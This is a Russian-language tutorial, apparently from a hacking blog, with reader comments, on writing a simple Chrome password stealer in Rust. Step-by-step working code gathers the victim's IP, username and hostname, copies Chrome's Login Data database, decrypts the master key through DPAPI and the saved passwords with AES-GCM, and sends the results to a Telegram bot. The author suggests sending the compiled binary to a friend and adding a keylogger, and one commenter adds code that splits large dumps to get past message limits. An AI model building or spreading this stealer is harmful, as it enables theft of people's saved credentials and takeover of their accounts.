Собираем пароли Chrome и отправляем в Telegram. Простейший стилер на Rust
Мы уже рассказывали о написании стилера паролей на C и делали кейлогер и RAT своими руками. С тех пор многое изменилось, например в Chrome появилось шифрование паролей, а многие злоумышленники не стесняются использовать Telegram для сбора ворованных данных. Сегодня я покажу в деталях как написать простейший стилер паролей от Chrome с отправкой в “телегу” на языке Rust. Почему Rust? Это очень перспективный язык, по синтаксису и скорости выполнения кода очень похожий на C. Поэтому для тех, кто имел дело с C освоить Rust не составит труда. Rust, на ряду с С горяче любим создателями различной малвари. И, хотя, C остаётся “олдскульным” выбором, разработка Rust не стоит на месте и некоторые считают, что за ним будущее.
Качаем и устанавливаем Rust
Стилер будет работать из под винды, соответвенно предполагается что ваша среда разработки Windows.
Поэтому начнем с установки Rust для Windows. Сделать это довольно просто, качаем exe отсюда: https://www.rust-lang.org/tools/install
Открываем Windows PowerShell и переходим в терминале на наш Рабочий стол командой:
cd Desktop
Если проект необходимо создать в другой папке, а не на рабочем столе, зайдите через PowerShell куда вам необходимо, это не принципиально.
Теперь создаем проект с помощью пакетного менеджера cargo, пишем в терминале:
cargo new strl_chrm_password_rust
*strl_chrm_password_rust – название проекта, ваше название может быть другим.
Папка strl_chrm_password_rust должна была появиться на рабочем столе.
Открываем Visual Studio Code (или любой другой удобный редактор) и папку которую только что создали.
Если всё ок, вы увидите следующую структуру:
Открываем терминал в VS Code: CTRL + SHIFT + ` (` – возле клавиши 1, вверху)
Проверим если всё работает выполнив команду:
cargo run
Если всё ок, в папке проекта появится папка target, а результатом будет выполнение программы из файла src/main.rs, а именно вывод строки “Hello, world!”.
Собираем данные о пользовате
Начнём с того, что соберём данные о пользователе – его ип, юзернейм, имя хост-машины.
Открываем файл main.rs и приступаем.
Для начала создадим необходимые структуру пользователя с опеределением типов:
struct User { ip: String, username: String, hostname: String, }
Теперь наш main.rs должен выглядить примерно так:
В Rust в качестве подключаемых библиотек используются “крейты” от слова crate, ящик. Бывает два типа крейтов: библиотечный и исполняемый. Библиотечные крейты можно подключать в другие крейты, но нельзя исполнять. Исполняемые же крейты – полная противоположность библиотечным – могут исполняться, но их нельзя подключить в другие крейты. Для того, чтобы определить имя хоста и юзернейм воспользуемся крейтом whoami.
Установить крейт можно благодаря уже знакомому нам пакетному менеджеру cargo.
Добавим зависимость в файл Cargo.toml и при следующей сборке зависимость автоматически подтянется.
В файл Cargo.toml в dependencies:
whoami = "1.1.3"
Теперь можно проверить, если все будет работать, как мы хотим.
Для этого в функции main вместо:
println!("Hello, world!");
Пишем:
println!("{} {}", whoami::username(), whoami::hostname());
В самый верх файла main.rs добавляем:
use whoami;
В итоге теперь наш main.rs должен выглядить следующим образом:
Снова запускаем:
cargo run
Теперь вместо “Hello, world!” у нас должно отобразиться имя пользователя и хоста.
С этим разобрались, теперь необходимо определить ip. Для этого будем использовать get запрос на httpbin тчк org/ip
Формат ответа у нас будет приходить в json в следующем формате:
{
"origin": "1.2.3.4"
}
Поэтому подготовим структуру для такого ответа:
struct Ip {
origin: String,
}
Добавляем структуру Ip куда-нибудь под структуру User.
Напишем саму функцию, которая поможет нам получить ip.
Т.к. IP мы будем десеарилизовывать при ответе, нам необходимо добавить derive аттрибут из крейта serde – Deserialize к структуре Ip.
Так же мы будем делать запросы, в этом нам поможет крейт ureq.
Для этого в Cargo.toml добавляем новые зависимости под/над whoami:
serde = { version = "1.0.130", features = ["derive"] }
serde_json = "1.0.68"
ureq = { version = "*", features = ["json", "charset"] }
В самый верх main.rs добавляем:
use serde::Deserialize;
use serde_json::Value;
Теперь к скрутуре Ip можем добавить Deserialize, делаем это таким образом:
#[derive(Deserialize)]
struct Ip {
origin: String,
}
Имплементируем структуре User следущую логику:
impl User {
fn ip() -> Result<String, ureq::Error> {
let body: String = ureq::get("http://httpbin.org/ip")
.call()?
.into_string()?;
let ip: Ip = serde_json::from_str(body.as_str()).unwrap();
Ok(ip.origin)
}
}
Ну и давайте снова все проверим, в вывод строки добавим ип:
println!("{} {} {}", whoami::username(), whoami::hostname(), User::ip().unwrap());
Запускаем:
cargo run
Теперь в терминале, помимо имени пользователя и хоста должно появиться ещё и значение ip.
Таким образом теперь наш main.rs должен выглядеть примерно так:
Готовим структуру для данных Chrome
С информацией о пользователе мы разобрались. Теперь давайте приступим к основной части, а именно попробуем вытащить сохраненные в Chrome пароли.
Для начала сделаем структуру и разместим её под стурктурой Ip:
struct Chrome {
url: String,
login: String,
password: String,
}
Ну и сразу же давайте подготовим блок для имлементации функций типу Chrome, по аналогии как с User, добавляем:
impl Chrome {
//
}
Первое, что нам необходимо будет сделать, это как-то взаимодействовать с файловой системой. Поэтому снова добавим зависимость в наш Cargo.toml:
platform-dirs = "0.3.0"
Этот крейт поможет определить нужные нам пути.
Как обычно добавляем вверху файла main.rs:
use platform_dirs::AppDirs;
Также из стандартной библиотеки нам понадобится PathBuf:
use std::{path::PathBuf};
Записываем в таком формате, т.к. список зависимостей из стандартной библиотеки еще будет расширяться.
Ищем локальную БД Chrome и работаем с файлом
И так, теперь давайте приступим к самим паролям. Пароли хрома хранятся в файле Login Data, который обычно находится по такому пути – C:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Default
Login Data – это самая простая sqlite БД, отсюда нам и необходимо вытащить сокровенное.
Давайте напишем функцию которая найдет нам файл БД и создаст нам копию файла.
Для этого вверху файла main.rs немного расширим используемые нами модули из стандартной библиотеки, добавим к path::PathBuf еще fs, для работы с файловой системой:
use std::{path::PathBuf, fs};
use std::{path::PathBuf, fs};
Для того, что бы определить папку нашего пользователя воспользуемся библиотекой platform_dirs которую мы ранее добавили. И сразу же найдем файл с БД.
В блоке impl Chrome добавим функцию:
fn local_app_data_folder(open: &str) -> PathBuf {
AppDirs::new(Some(open), false).unwrap().data_dir
}
Аргумент open мы передадим уже из функции, которая поможет найти и переместить наш файл.
Теперь мы можем найти наш файл с БД и давайте сразу перенесем его куда-нибудь, чтоб не получилось так, что в момент обращения к БД она будет локнута. Так же в блок impl Chrome добавим функцию find_db:
fn find_db() -> std::io::Result<PathBuf> {
let local_sqlite_path = Chrome::local_app_data_folder("Google\\Chrome\\User Data\\Default\\Login Data");
let moved_to = Chrome::local_app_data_folder("sqlite_file");
let db_file = moved_to.clone();
fs::copy(local_sqlite_path, moved_to)?;
Ok(db_file)
}
В переменной local_sqlite_path мы сразу передаем аргументом то, что нам надо найти, а именно: Google\\Chrome\\User Data\\Default\\Login Data, а там уже наша библиотека path_dirs сама определит у какого пользователя искать.
Отлично, теперь у нас есть функции которые определят папку пользователя, найдут и переместят наш файл с БД.
Снова давайте проверим, если всё работает как надо, в main.rs добавим:
Chrome::find_db();
Запускаем:
cargo run
Открываем C:\Users\USERNAME\AppData\Local и смотрим, у нас появился файл с именем sqlite_file, значит всё ок.
Наш main.rs постепенно приобретает вид:
Подключение к БД и попытка вытащить информацию
Файл с БД мы нашли и переместили куда нам надо, теперь давайте подключимся к самой БД и посмотрим что там.
Для работы с БД, воспользуемся крейтом rusqlite.
Возвращаемся к нашему файлу Cargo.toml и под блок dependencies, отдельно добавим rusqlite таким образом:
[dependencies.rusqlite]
version = "0.25.3"
features = ["bundled"]
Объяснять почему именно так не буду, если кому интересно, почему с этим пакетом так, то загуглите – “How to build rusqlite on Windows”.
Теперь Cargo.toml должен выглядить примерно так:
В main.rs так же как обычно наверх добавляем нашу новую зависимость:
use rusqlite::{Connection, Result};
Теперь давайте попобуем вытащить данные из нашего файла с БД, напишем функцию obtain_data_from_db и там же попробуем использовать нашу ранее написанную функцию find_db. Все так же, добавляем функцию в блок imlp Chrome:
fn obtain_data_from_db() -> Result<Vec<Chrome>> { let conn = Connection::open(Chrome::find_db().unwrap())?; let mut stmt = conn.prepare("SELECT action_url, username_value, password_value from logins")?; let chrome_data = stmt.query_map([], |row| { Ok(Chrome { url: row.get(0)?, login: row.get(1)?, password: row.get(2)?, }) })?; let mut result = vec![]; for data in chrome_data { result.push(data.unwrap()); } Ok(result) }
В переменной conn, мы аргументом в open передаем файл БД sqlite который мы нашли и переместели ранее с помощью find_db.
Далее пишем простой SQL запрос, который вытащит все, что нам надо из таблицы logins.
Ну и с помощью query_map создаем структуры Chrome и всё это помещаем в вектор, отдав результат.
Как обычно проверяем, в функции main вместо:
Chrome::find_db();
println!("{} {} {}", whoami::username(), whoami::hostname(), User::ip().unwrap());
Пишем:
let res = Chrome::obtain_data_from_db();
println!("{:?}", res.unwrap());
И над структурой Chrome, добавим derive Debug, теперь она будет выглядить так:
#[derive(Debug)]
struct Chrome {
url: String,
login: String,
password: String,
}
Скрестим пальцы и надеемся, что сейчас всё выведет в терминал:
cargo run
Но мимо нас пролетает розовая птица обломинго, что-то не так с типом пароль:
thread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: InvalidColumnType(2, "password_value", Blob)', src\main.rs:65:30
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
error: process didn't exit successfully: `target\debug\strl_chrm_password_rust.exe` (exit code: 101)
У нас в структуре password это String. Ну ок, давайте себя немного успокоим, мы то знаем, что пароль зашифрован и так совершенно другой тип(Vec<u8>), к этому мы вернемся чуть позже, а так то всё работает?
Давайте в нашей функции obtain_data_from_db, где создается стуктура Chrome попробуем паролю поставить row1, вместо row2.
Вместо:
Ok(Chrome {
url: row.get(0)?,
login: row.get(1)?,
password: row.get(2)?,
})
Где password ставим row.get(1)?, теперь так:
Ok(Chrome {
url: row.get(0)?,
login: row.get(1)?,
password: row.get(1)?,
Запускаем:
cargo run
Вот теперь то, что надо, только вместо пароля логин. Хорошо, с этим мы разберемся позже, давайте посмотрим на наш main.rs и пойдем дальше:
Расшифровываем пароль
И так, мы знаем что наш пароль в БД зашифрован.
Вдаваться в подробности я сильно не буду, лишь кратко скажу, что используется AEAD-режим блочного шифрования. Можно загуглить, если интересно.
Первое что необходимо – это вытащить ключ хрома, ну и второе – собственно расшифровать сам пароль.
Как я уже сказал, в детали углубляться не будем, кратко:
1. Вытаскиваем файл Local State
2. Находим там ключ
3. Декодируем его, с помощью winapi расшифровываем и на выходе получаем нужный вектор с байтами. (подробнее тут: docs тчк microsoft тчк com/ru-ru/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata)
Для всех этих манипуляций нам будет необходим крейт winapi и base64, поэтому в Cargo.toml добавляем:
winapi = { version = "0.3", features = ["dpapi", "wincrypt", "winnt", "minwindef"] } base64 = "0.13.0"
В main.rs, как обычно наверх добавим:
use winapi::{um::wincrypt::CRYPTOAPI_BLOB, um::dpapi::CryptUnprotectData, shared::minwindef::BYTE};
Так же немного расширим использование стандартной библиотеки, вместо:
use std::{path::PathBuf, fs};
Пишем:
use std::{convert::TryInto, ptr, io::BufReader, io::Read, fs::File, path::PathBuf, fs};
Теперь напишем саму функцию получения ключа, в наш блок impl Chrome, под функцию local_app_data_folder добавим:
fn chrome_saved_key() -> Result<Vec<BYTE>, std::io::Error> {
let local_state_path = Chrome::local_app_data_folder("Google\\Chrome\\User Data\\Local State");
let file = File::open(local_state_path)?;
let mut buf_reader = BufReader::new(file);
let mut contents = String::new();
buf_reader.read_to_string(&mut contents)?;
let deserialized_content: Value = serde_json::from_str(contents.as_str())?;
let mut encrypted_key = deserialized_content["os_crypt"]["encrypted_key"].to_string();
encrypted_key = (&encrypted_key[1..encrypted_key.len() - 1]).parse().unwrap();
let decoded_password = base64::decode(encrypted_key).unwrap();
let mut password = decoded_password[5..decoded_password.len()].to_vec();
let bytes: u32 = password.len().try_into().unwrap();
let mut blob = CRYPTOAPI_BLOB { cbData: bytes, pbData: password.as_mut_ptr() };
let mut new_blob = CRYPTOAPI_BLOB { cbData: 0, pbData: ptr::null_mut() };
unsafe {
CryptUnprotectData(
&mut blob,
ptr::null_mut(),
ptr::null_mut(),
ptr::null_mut(),
ptr::null_mut(),
0,
&mut new_blob,
)
};
let cb_data = new_blob.cbData.try_into().unwrap();
let res = unsafe {
Vec::from_raw_parts(new_blob.pbData, cb_data, cb_data)
};
println!("{:?}", res); //для проверки
Ok(res)
}
Проверяем, в функцию main добавим под println!(“{:?}”, res.unwrap()):
Chrome::chrome_saved_key();
Запускаем. Уже помнишь как?
Теперь в терминале под вектором из Chrome стуктур должен появится еще и вектор байтов, значит всё ок.
Строку println!(“{:?}”, res) из chrome_saved_key теперь можно убрать.
Сейчас main.rs должен выглядеть примерно так:
Ключ мы вытащили, теперь давайте расшифруем сам пароль, который есть в БД.
Для расшифровки пароля нам потребуется крейт aes_gcm.
В Cargo.toml добавим:
aes-gcm = "0.9.4"
Теперь он выглядит вот так:
Как обычно добавим зависимости вверх main.rs:
use aes_gcm::{Aes256Gcm, Error};
use aes_gcm::aead::{Aead, NewAead};
use aes_gcm::aead::generic_array::GenericArray;
В блоке impl Chrome в самый низ добавим функцию decrypt_password, входным аргументом будет собственно сам зашифрованный пароль из БД:
fn decrypt_password(password: Vec<u8>) -> winapi::_core::result::Result<String, Error> {
let key_buf = Chrome::chrome_saved_key().unwrap();
let key = GenericArray::from_slice(key_buf.as_ref());
let cipher = Aes256Gcm::new(key);
let nonce = GenericArray::from_slice(&password[3..15]);
let plaintext = cipher.decrypt(nonce, &password[15..])?;
let decrypted_password = String::from_utf8(plaintext).unwrap();
Ok(decrypted_password)
}
Теперь вернемся в функцию obtain_data_from_db и вспомним, как мы вместо пароля ставили логин, теперь попробуем воспользоваться нашей новой функцией расшифровки пароля.
Вместо:
let chrome_data = stmt.query_map([], |row| {
Ok(Chrome {
url: row.get(0)?,
login: row.get(1)?,
password: row.get(1)?,
})
})?;
Пишем:
let chrome_data = stmt.query_map([], |row| {
Ok(Chrome {
url: row.get(0)?,
login: row.get(1)?,
password: Chrome::decrypt_password(row.get(2)?).unwrap(),
})
})?;
А теперь запускаем:
cargo run
Хех, теперь у нас есть вектор из Chrome структур с полным набором данных.
Наш main.rs теперь должен иметь следующий вид:
Отправляем полученные данные в телеграм
Пароли мы вытащили, теперь давайте разберемся, что с ними делать. А давайте отправим себе в телеграм, можно придумать и что-то другое, но пусть в данном случае будет творение Дурова.
И так, в нашей функции main стираем всё, что мы ранее писали:
fn main() {
let res = Chrome::obtain_data_from_db();
println!("{:?}", res.unwrap());
Chrome::chrome_saved_key();
}
Под ней напишем функцию grabber, которая очень некрасивым кодом превратит все данные в красивую строку:
fn grabber() -> String {
let user = User {
ip: User::ip().unwrap(),
username: whoami::username(),
hostname: whoami::hostname(),
};
let newline = "\n";
let mut result: String = "IP: ".to_owned();
result.push_str(&*user.ip);
result.push_str(newline);
result.push_str("Username: ");
result.push_str(&*user.username);
result.push_str(newline);
result.push_str("Hostname: ");
result.push_str(&*user.hostname);
result.push_str(newline);
result.push_str(newline);
let chrome_data = Chrome::obtain_data_from_db().unwrap();
for data in &chrome_data {
result.push_str("URL: ");
result.push_str(&*data.url);
result.push_str(newline);
result.push_str("Login: ");
result.push_str(&*data.login);
result.push_str(newline);
result.push_str("Password: ");
result.push_str(&*data.password);
result.push_str(newline);
result.push_str(newline);
}
result
}
В main вызваем собственно фунцию grabber:
let res = grabber();
Добавляем последнию зависимость в Cargo.toml:
telegram_notifyrs = "0.1.3"
Финальная версия Cargo.toml:
Она поможет нам отправить сообщение в телеграм.
Под let res = grabber() добавим в функции main:
let telegram_token = "telegram_token";
let telegram_chat_id = 1234567891;
telegram_notifyrs::send_message(res, telegram_token, telegram_chat_id);
Значение токена и chat_id, понятное дело, должно быть ваше.
Запускаем:
cargo run
Если токен и chat_id верные, то в телеграм должно прийти, что-то вроде:
Где поля конечно же не должны быть пустыми.
И так, финальная версия нашего main.rs:
Наконец давайте соберем наш бинарник.
В терминале выполняем cargo run, только с флагом release:
cargo run --release
Если всё удачно скомпилировалось, то в папке target/release появится файл strl_chrm_password_rust.exe
Отправляем файл другу – все его пароли у нас. Перенаправьте ему сообщение с паролями и скажите ему чтоб больше так не делал, а заодно сменил все пароли.
Загрузим наш бинарник на вирустотал. В Багдаде всё спокойно (пока).
Получим несколько сообщений от ботов с вирустотал(или нет) в телеграм и удаляем всю папку strl_chrm_password_rust и забываем обо всём.
Совсем не сложно, правда? Конечно же функционал можно доработать, например, добавить кейлогер. И сделать это совсем не сложно.
Полезная статья, как раз изучаю rust, однако для вирусов мне кажется он не очень хорош. Слишком уж большие бинари на выхлопе.
Подскажите пожалуйста, а телеграм_токен это токен бота?? Я пробовал, мне не приходит сообщение
В данном коде имеется косяк. А именно, телеграм бот апи имеет ограничение на размер отправляемого сообщения. И если в хроме сохранено много паролей, то ваш код просто ничего не пришлет. Решается это простой проверкой длины сообшения и последующей отправкой сообщений частями.
Статья старая просто
Вот накидал код, который проверяет длину сообщения и отправляет по частям, если длина больше 4096
let mut j = 0;
let mut last = 0;
while j +4096 < res.len() {
let mut new_string = String::new();
new_string.push_str(&res[j..j+4096]);
last = j;
telegram_notifyrs::send_message(new_string, telegram_token, telegram_chat_id);
j = j +4096;
}
let mut new_string = String::new();
new_string.push_str(&res[j..res.len()]);
telegram_notifyrs::send_message(new_string, telegram_token, telegram_chat_id);
в какой участок программы нужно вставить этот кусок кода, что ты написал?